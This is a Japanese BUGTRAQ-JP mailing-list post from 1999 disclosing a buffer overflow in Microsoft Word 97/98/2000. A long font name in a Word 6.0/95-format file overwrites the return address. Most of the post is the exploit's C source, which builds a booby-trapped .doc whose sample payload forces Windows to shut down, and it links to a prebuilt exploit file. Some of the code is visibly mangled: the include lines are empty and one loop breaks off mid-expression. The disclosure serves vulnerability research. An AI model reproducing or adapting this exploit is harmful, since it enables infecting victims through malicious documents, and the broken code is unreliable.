Return-Path: owner-bugtraq-jp@SECURITYFOCUS.COM MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit X-Mailer: Becky! ver 1.25.07 Message-ID: <385EC604276.F052SHADOWPENGUIN@fox.nightland.net> Date: Tue, 21 Dec 1999 09:12:52 +0900 Reply-To: UNYUN Sender: BUGTRAQ-JP List From: UNYUN Subject: Microsoft Word97/98/2000 Exploitable buffer overflow problem X-To: BUGTRAQ-JP@SECURITYFOCUS.COM To: BUGTRAQ-JP@SECURITYFOCUS.COM UNYUN@ShadowPenguinSecurityです。 BUGTRAQ-JP BOFでは色々とお世話になりました。 BOFでデモを行いましたが、Microsoft Word97/98/2000にexploit可能なバッファ オーバーフローがあるようです。このオーバーフローバグはWord旧フォーマット のファイル変換プロセスに存在しているようで、Word97/98/2000にて新規に文章 を作成しWord6.0/95ファイルとして保存、バイナリエディタでフォント名を長い 文字列に変更し、Word97/98/2000にてそのファイルを開くことによりRETアドレス を上書きし EIPを取得できるオーバーフローの発生を確認することができます。 この問題は、オーバーフローを利用してホスト上で任意のコードを実行できる可 能性を意味しており、フォント名中に記述された攻撃コードによりウイルスやト ロイの木馬に感染する危険性があります。 この問題は、オーバーフローでありマクロとは何の関係もありませんので(当たり 前ですが・・・)、docファイルを開くことによる危険性はマクロウイルスだけ ではないと言えます。 このexploitは、攻撃コード(サンプルとして強制的に電源切断を行う)を含むdoc ファイルを生成します。日本語版Windows98(4.10.1998)上で日本語版Word98およ びWord2000にて動作を確認しました。Word97に関しては、RETアドレスの格納位置 などが多少異なるため動作にはRETADR等の変更が必要かと思います。 なお、 http://shadowpenguin.backsection.net/tools/ex_word.doc に以下のexploitにより生成されたdocファイルをアップしています。 # BOFでのBuffer Overflow Attackに関するプレゼンのpptファイル、および参 # 考資料をまとめてアップしましたので、よろしければご参照ください。 # http://shadowpenguin.backsection.net/docs/iw99-bugtraqjp-bof.html --- /*============================================================================= ex_word.c / Microsoft Word 98/2000 exploit The Shadow Penguin Security (http://shadowpenguin.backsection.net) Written by UNYUN (shadowpenguin@backsection.net) ============================================================================= */ #include #include #include #define HEAD1 \ "94a62e0000000904000000000000000000000000000000008001000082010000" \ "ed07000000000000000000000000000000000000020000000000000000000000" \ "0000000000000000000000000000000000000000000000000006000027000006" \ "0000270027060000000027060000000027060000000027060000000027060000" \ "0e00350600000000000000000000350600000000350600000000350600000000" \ "350600000a003f0600000a00000000000000490600005900a30600000000a306" \ "00000000a30600000000a30600000000a30600000000a30600000000a3060000" \ "0000a30600000000000000000000000000000000000000000000000000000000" \ "000000000000000000000000000000000000a30600003401d70700001600ed07" \ "00000000ed070000000000000000000000000000000000000000000000000100" \ "0200010001000000000000000000000000000000000000000000000000000000" \ "0000000000000000000000000000000000000000000000000000000000000000" \ "0d0a1878a90183530384e0038801008da5068ea5068fc10790a5060000000000" \ "0000000000000000000000000000000000000000000000000000000000000000" \ "0000000000000000000000000000000000000000000000000000000000000000" \ "0000000000000000000000000000000000000000000000000000000000000000" #define HEAD2 "\x80\x01\x00\x00\x82\x01" #define HEAD3 \ "000003000011000e00004600050015000000000009040d000a00000000000000" \ "140000010000de00000000020000000000820100008001000082010000010080" \ "0100008201000002005900071080" #define HEAD4 \ "96be92a900083080badebcafb80008108054" \ "696d65730009608053796d626f6c000c208048656c766574696361000c108082" \ "6c82722096be92a9000a108043656e74757279000d108040826c82722096be92" \ "a900002000020003030000000053030000000000000000a5743c06a6743c0600" \ "0000000100010000000100000000000000000000000000010000002100250029" \ "002c002e003a003b003f005d007d00a100a300a400a500a700a800a900aa00ab" \ "00ac00ad00ae00af00b000de00df004181428143814481458146814781488149" \ "814a814b81528153815481558158815b81668168816a816c816e817081728174" \ "81768178817a818b818c818d818e81918193819f82a182a382a582a782c182e1" \ "82e382e582ec824083428344834683488362838383858387838e839583968300" \ "0000000000000000000000000000001a003800240028005b005c007b00a20065" \ "81678169816b816d816f81718173817581778179818f81908100000000000000" \ "00000000000000000000000000000006000d0004000200160000000000000006" \ "6865686568650668656865686500000000000000000000000000000000000000" #define HEAD1_SIZE 1024 #define HEAD3_SIZE 156 #define HEAD4_SIZE 868 #define RETADR 48 #define MAXWORKBUF 1024 #define MAXBUF 160 #define NOP 0x45 #define DLL_NAME "user32.dll" void head_write(FILE *fp,char *buf,int size) { char c[5]; int i,v; strcpy(c,"0x"); c[4]=0; for (i=0;i>8)&0xff == 0 ||(ip>>16)&0xff == 0 ||(ip>>24)&0xff == 0){ printf("Address of ExitWindowsEx contains NULL.\n"); exit(1); } memset(buf,NOP,MAXBUF); buf[RETADR ]=ip&0xff; buf[RETADR+1]=(ip>>8)&0xff; buf[RETADR+2]=(ip>>16)&0xff; buf[RETADR+3]=(ip>>24)&0xff; buf[RETADR+8]='U'; buf[MAXBUF-1]=0; if ((fp=fopen(argv[1],"wb"))==NULL){ printf("Can not create '%s'\n",argv[1]); exit(1); } head_write(fp,HEAD1,HEAD1_SIZE); for (n=0;n<2;n++){ fwrite(HEAD2,1,6,fp); for (i=0;i<32*16-6-1;i++) putc(0,fp); putc(1,fp); } head_write(fp,HEAD3,HEAD3_SIZE); fwrite(buf,1,MAXBUF,fp); head_write(fp,HEAD4,HEAD4_SIZE); fclose(fp); printf("File '%s' is created.\n",argv[1]); return FALSE; } ----- UNYUN % The Shadow Penguin Security [ http://shadowpenguin.backsection.net ] shadowpenguin@backsection.net (webmaster) % eEye Digital Security Team [ http://www.eEye.com ] unyun@eEye.com